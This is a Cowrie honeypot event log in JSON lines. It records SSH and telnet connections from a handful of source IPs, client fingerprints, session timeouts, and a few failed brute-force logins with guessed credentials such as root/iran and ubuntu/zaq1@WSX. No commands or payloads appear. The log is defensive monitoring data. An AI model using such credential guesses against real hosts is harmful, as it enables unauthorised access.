{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:44.815132Z","src_ip":"209.99.185.195","session":"b0ae86693111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.655749320983887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:44.995096Z","src_ip":"185.185.82.165","session":"ff03624f453b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"iran","message":"login attempt [root/iran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:45.304432Z","src_ip":"209.99.185.195","session":"b0ae86693111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40724,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed06f67d146a","protocol":"ssh","message":"New connection: 80.94.92.184:40724 (10.17.0.5:22) [session: ed06f67d146a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:45.748212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:45.853931Z","src_ip":"80.94.92.184","session":"ed06f67d146a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.062607288360596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:46.039251Z","src_ip":"197.242.148.130","session":"f9f00edb2e7d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:46.118668Z","src_ip":"80.94.92.184","session":"ed06f67d146a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:46.420787Z","src_ip":"209.99.185.195","session":"b0ae86693111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47352,"dst_ip":"159.203.135.109","dst_port":23,"session":"f591a81e2897","protocol":"telnet","message":"New connection: 185.185.82.165:47352 (159.203.135.109:23) [session: f591a81e2897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:46.804534Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:47.523681Z","src_ip":"80.94.92.184","session":"ed06f67d146a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47356,"dst_ip":"159.203.135.109","dst_port":23,"session":"8de5ca1a7e22","protocol":"telnet","message":"New connection: 185.185.82.165:47356 (159.203.135.109:23) [session: 8de5ca1a7e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:47.998279Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47366,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ff4b6a51553","protocol":"telnet","message":"New connection: 185.185.82.165:47366 (159.203.135.109:23) [session: 3ff4b6a51553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:48.050319Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:48.792816Z","src_ip":"80.94.92.184","session":"ed06f67d146a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.21265411376953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:48.997380Z","src_ip":"197.242.148.130","session":"c5157a8dcb83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47378,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc80108d3a6f","protocol":"telnet","message":"New connection: 185.185.82.165:47378 (159.203.135.109:23) [session: cc80108d3a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:51.545909Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":43110,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b0802281b98","protocol":"telnet","message":"New connection: 197.242.148.130:43110 (159.203.135.109:23) [session: 1b0802281b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:52.010211Z"}
{"eventid":"cowrie.session.closed","duration":36.59768509864807,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:55.046900Z","src_ip":"69.65.3.189","session":"be12b0ee7cd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":42362,"dst_ip":"159.203.135.109","dst_port":23,"session":"d51089146bce","protocol":"telnet","message":"New connection: 185.185.82.165:42362 (159.203.135.109:23) [session: d51089146bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:55.720226Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":43122,"dst_ip":"159.203.135.109","dst_port":23,"session":"955ef52ef38e","protocol":"telnet","message":"New connection: 197.242.148.130:43122 (159.203.135.109:23) [session: 955ef52ef38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:56.249458Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":42372,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce7d564e29e","protocol":"telnet","message":"New connection: 185.185.82.165:42372 (159.203.135.109:23) [session: 2ce7d564e29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:56.692503Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":42374,"dst_ip":"159.203.135.109","dst_port":23,"session":"8327301a46b8","protocol":"telnet","message":"New connection: 185.185.82.165:42374 (159.203.135.109:23) [session: 8327301a46b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:56.825680Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":42376,"dst_ip":"159.203.135.109","dst_port":23,"session":"df0d3437fc17","protocol":"telnet","message":"New connection: 185.185.82.165:42376 (159.203.135.109:23) [session: df0d3437fc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:57.546730Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":42384,"dst_ip":"159.203.135.109","dst_port":23,"session":"44e3112e6a42","protocol":"telnet","message":"New connection: 185.185.82.165:42384 (159.203.135.109:23) [session: 44e3112e6a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:57.823355Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":42398,"dst_ip":"159.203.135.109","dst_port":23,"session":"43236407a123","protocol":"telnet","message":"New connection: 185.185.82.165:42398 (159.203.135.109:23) [session: 43236407a123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:58.118356Z"}
{"eventid":"cowrie.session.closed","duration":32.89574718475342,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:00.960938Z","src_ip":"185.185.82.165","session":"583c114f9989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":34310,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b6cad8093c1","protocol":"telnet","message":"New connection: 197.242.148.130:34310 (159.203.135.109:23) [session: 4b6cad8093c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:02.526058Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":42404,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eb937ca8ed5","protocol":"telnet","message":"New connection: 185.185.82.165:42404 (159.203.135.109:23) [session: 6eb937ca8ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:02.674371Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59230,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4f314819dcc","protocol":"telnet","message":"New connection: 185.185.82.165:59230 (159.203.135.109:23) [session: c4f314819dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:04.550867Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59238,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b772dabfec6","protocol":"telnet","message":"New connection: 185.185.82.165:59238 (159.203.135.109:23) [session: 3b772dabfec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:04.580950Z"}
{"eventid":"cowrie.session.closed","duration":30.861840963363647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:05.628977Z","src_ip":"185.185.82.165","session":"eb7a43e7133e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59242,"dst_ip":"159.203.135.109","dst_port":23,"session":"743cc5a0cc54","protocol":"telnet","message":"New connection: 185.185.82.165:59242 (159.203.135.109:23) [session: 743cc5a0cc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:05.784192Z"}
{"eventid":"cowrie.session.closed","duration":31.022921085357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:05.917120Z","src_ip":"185.185.82.165","session":"14040f1db688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59248,"dst_ip":"159.203.135.109","dst_port":23,"session":"39070214e0b1","protocol":"telnet","message":"New connection: 185.185.82.165:59248 (159.203.135.109:23) [session: 39070214e0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:06.294078Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59250,"dst_ip":"159.203.135.109","dst_port":23,"session":"353ddb6f866a","protocol":"telnet","message":"New connection: 185.185.82.165:59250 (159.203.135.109:23) [session: 353ddb6f866a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:08.546829Z"}
{"eventid":"cowrie.session.closed","duration":34.171366453170776,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:08.569493Z","src_ip":"185.185.82.165","session":"66eb2e2dbc28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50554609298706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:09.578242Z","src_ip":"197.242.148.130","session":"478f9d3e96e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59264,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1aaa6a5723e","protocol":"telnet","message":"New connection: 185.185.82.165:59264 (159.203.135.109:23) [session: c1aaa6a5723e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:10.279336Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59274,"dst_ip":"159.203.135.109","dst_port":23,"session":"38fcd649e0b3","protocol":"telnet","message":"New connection: 185.185.82.165:59274 (159.203.135.109:23) [session: 38fcd649e0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:11.726457Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59290,"dst_ip":"159.203.135.109","dst_port":23,"session":"347cc309daec","protocol":"telnet","message":"New connection: 185.185.82.165:59290 (159.203.135.109:23) [session: 347cc309daec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:12.763634Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59304,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc48bd75b50e","protocol":"telnet","message":"New connection: 185.185.82.165:59304 (159.203.135.109:23) [session: dc48bd75b50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:13.674129Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59306,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dc14c62b824","protocol":"telnet","message":"New connection: 185.185.82.165:59306 (159.203.135.109:23) [session: 5dc14c62b824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:13.679141Z"}
{"eventid":"cowrie.session.closed","duration":31.316816091537476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:13.908017Z","src_ip":"185.185.82.165","session":"547351b7a852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36668,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a2efbc82106","protocol":"telnet","message":"New connection: 185.185.82.165:36668 (159.203.135.109:23) [session: 9a2efbc82106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:14.188996Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36676,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ee48645fa8","protocol":"telnet","message":"New connection: 185.185.82.165:36676 (159.203.135.109:23) [session: d6ee48645fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:14.359366Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36684,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f9b7c2a8e8","protocol":"telnet","message":"New connection: 185.185.82.165:36684 (159.203.135.109:23) [session: d2f9b7c2a8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:14.404239Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36698,"dst_ip":"159.203.135.109","dst_port":23,"session":"251e368553de","protocol":"telnet","message":"New connection: 185.185.82.165:36698 (159.203.135.109:23) [session: 251e368553de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:15.073537Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f706caddcb74","protocol":"telnet","message":"New connection: 185.185.82.165:36712 (159.203.135.109:23) [session: f706caddcb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:15.376445Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36718,"dst_ip":"159.203.135.109","dst_port":23,"session":"0416d19284cb","protocol":"telnet","message":"New connection: 185.185.82.165:36718 (159.203.135.109:23) [session: 0416d19284cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:15.893498Z"}
{"eventid":"cowrie.session.closed","duration":32.03813886642456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:16.654005Z","src_ip":"185.185.82.165","session":"616d080af2e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35070443153381,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:16.677956Z","src_ip":"185.185.82.165","session":"deacabad74c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36730,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbcec8261a95","protocol":"telnet","message":"New connection: 185.185.82.165:36730 (159.203.135.109:23) [session: fbcec8261a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:17.016966Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36732,"dst_ip":"159.203.135.109","dst_port":23,"session":"a85550695db4","protocol":"telnet","message":"New connection: 185.185.82.165:36732 (159.203.135.109:23) [session: a85550695db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:17.254138Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":56200,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ab5233c199","protocol":"telnet","message":"New connection: 197.242.148.130:56200 (159.203.135.109:23) [session: d0ab5233c199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:17.330933Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36746,"dst_ip":"159.203.135.109","dst_port":23,"session":"be3bb3b6d7c5","protocol":"telnet","message":"New connection: 185.185.82.165:36746 (159.203.135.109:23) [session: be3bb3b6d7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:17.916857Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36762,"dst_ip":"159.203.135.109","dst_port":23,"session":"6283e1a07a50","protocol":"telnet","message":"New connection: 185.185.82.165:36762 (159.203.135.109:23) [session: 6283e1a07a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:18.398734Z"}
{"eventid":"cowrie.session.closed","duration":32.47971320152283,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:19.284106Z","src_ip":"185.185.82.165","session":"f591a81e2897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36774,"dst_ip":"159.203.135.109","dst_port":23,"session":"47d793e5f29b","protocol":"telnet","message":"New connection: 185.185.82.165:36774 (159.203.135.109:23) [session: 47d793e5f29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:19.368980Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":59362,"dst_ip":"159.203.135.109","dst_port":22,"session":"a242b21871ac","protocol":"ssh","message":"New connection: 187.16.96.250:59362 (159.203.135.109:22) [session: a242b21871ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:19.539054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:19.543249Z","src_ip":"187.16.96.250","session":"a242b21871ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:19.662106Z","src_ip":"187.16.96.250","session":"a242b21871ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq1@WSX","message":"login attempt [ubuntu/zaq1@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:20.160030Z","src_ip":"187.16.96.250","session":"a242b21871ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36788,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ea04a87d03a","protocol":"telnet","message":"New connection: 185.185.82.165:36788 (159.203.135.109:23) [session: 8ea04a87d03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:20.750204Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:21.279068Z","src_ip":"187.16.96.250","session":"a242b21871ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36804,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e48176cb99","protocol":"telnet","message":"New connection: 185.185.82.165:36804 (159.203.135.109:23) [session: 16e48176cb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:21.574484Z"}
{"eventid":"cowrie.session.closed","duration":33.602784395217896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:06:21.652963Z","src_ip":"185.185.82.165","session":"3ff4b6a51553","protocol":"telnet"}
